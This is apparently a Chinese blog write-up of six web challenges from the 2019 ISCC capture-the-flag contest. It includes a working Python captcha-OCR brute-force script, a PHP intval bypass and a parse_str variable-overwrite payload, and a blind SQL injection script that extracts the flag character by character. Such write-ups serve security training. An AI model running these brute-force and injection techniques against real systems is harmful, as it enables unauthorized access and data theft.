2019 iscc的web題

1.

題目如下
在這裏插入圖片描述
主要是識別驗證碼,這時候就要用到python大法了,啊哈哈哈。腳本如下(基於python3)

from PIL import Image
import pytesseract
import requests

url_index="http://39.100.83.188:8002/login.php"
url_image="http://39.100.83.188:8002/vcode.php"
header={
    'Cookie': 'PHPSESSID=填你自己的'
}

for i in range(999,99,-1):
    r=requests.post(url=url_image,headers=header)
    with open("C:/python/vcode.png",'wb') as pic:
        pic.write(r.content)
    image=Image.open("C:/python/vcode.png")
    text=pytesseract.image_to_string(image)
    text=text[0:4].replace('O','0').replace('o','0').replace('l','1')
    payload={'pwd':str(i),'user_code':text}
    ra=requests.post(url=url_index,data=payload,headers=header)
    print(ra.content.decode("utf-8"))
    if 'flag' not in ra.content.decode('utf-8'):
        print(" %s is nowing " %i)
    else:
        print(ra.content.decode('utf-8'))

我這裏是倒着跑的,從999開始,運行後很快就發現了flag,

密碼錯誤
 999 is nowing
密碼錯誤
 998 is nowing
驗證碼錯誤
 997 is nowing
flag is flag{*******}
flag is flag{*******}
密碼錯誤
 995 is nowing
驗證碼錯誤
 994 is nowing
驗證碼錯誤
 993 is nowing
密碼錯誤

996過於真實,23333333.

2.

核心代碼如下

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';

第一個,value每一項的ascii值不能大於32,也不能小於127,但又要chr 後的值等於w3lc0me_To_ISCC2019,那就把每一個字符ascii值+256就行了。第二個要繞過intval,可以用22.22e3來繞過。intval(22.22e3)爲22,而intval(22.22e3+1)則爲22221,所以最後構造payload就行了。
3.
題目代碼如下

 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?> 

關鍵函數parse_str(),來看一下php手冊上面對他的介紹。
在這裏插入圖片描述
在這裏插入圖片描述所以我們要是action=auth,還要讓兩個sha256值相等。讓action=auth很簡單,那怎麼讓兩個sha256值相等呢,我們可以改變hashedkeykey=1hashed_key的值。比如key=1,那就讓hashed_key值爲1的sha256的值,所以這樣就能構造payload了。

?action=auth&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b&key=1

4.這個題目是一個注入題,一開始做了半天都沒想到這個題目怎麼寫,然後問了大佬,才知道這是二次注入,那什麼是二次注入呢,可以參考一下這個文章

https://zhuanlan.zhihu.com/p/39917830

啥都不說了,滾去刷sql-labs了。QWQ

5.

這個題目和jwt有關 hs256加密,public key在文件夾,仔細讀一下common.js就行了。

6.

UA後面加一個.union373,然後是基於union的盲注,腳本直接貼上。(基於python3)

import requests
import binascii

header={
	"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36Union.373"
}
url='http://39.100.83.188:8054/'
flag=''


for xxx in range(1,32):
	for i in range(48,127):
		tmp=flag
		a=chr(i)
		sql="union_373_Tom' union distinct select binary 1,2,0x{} order by 3,'1"
		tmp+=a
		b=binascii.hexlify(tmp.encode())
		b=b.decode()
		sql=sql.format(b)
		payload={
			'username':sql,
			'password':1
		}
		r=requests.post(url=url,headers=header,data=payload)
		print(payload)
		print(flag)
		if '2' not in r.content.decode('utf-8'):
			print(chr(i-1))
			ccc=chr(i-1)
			flag+=ccc
			break
		
		

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章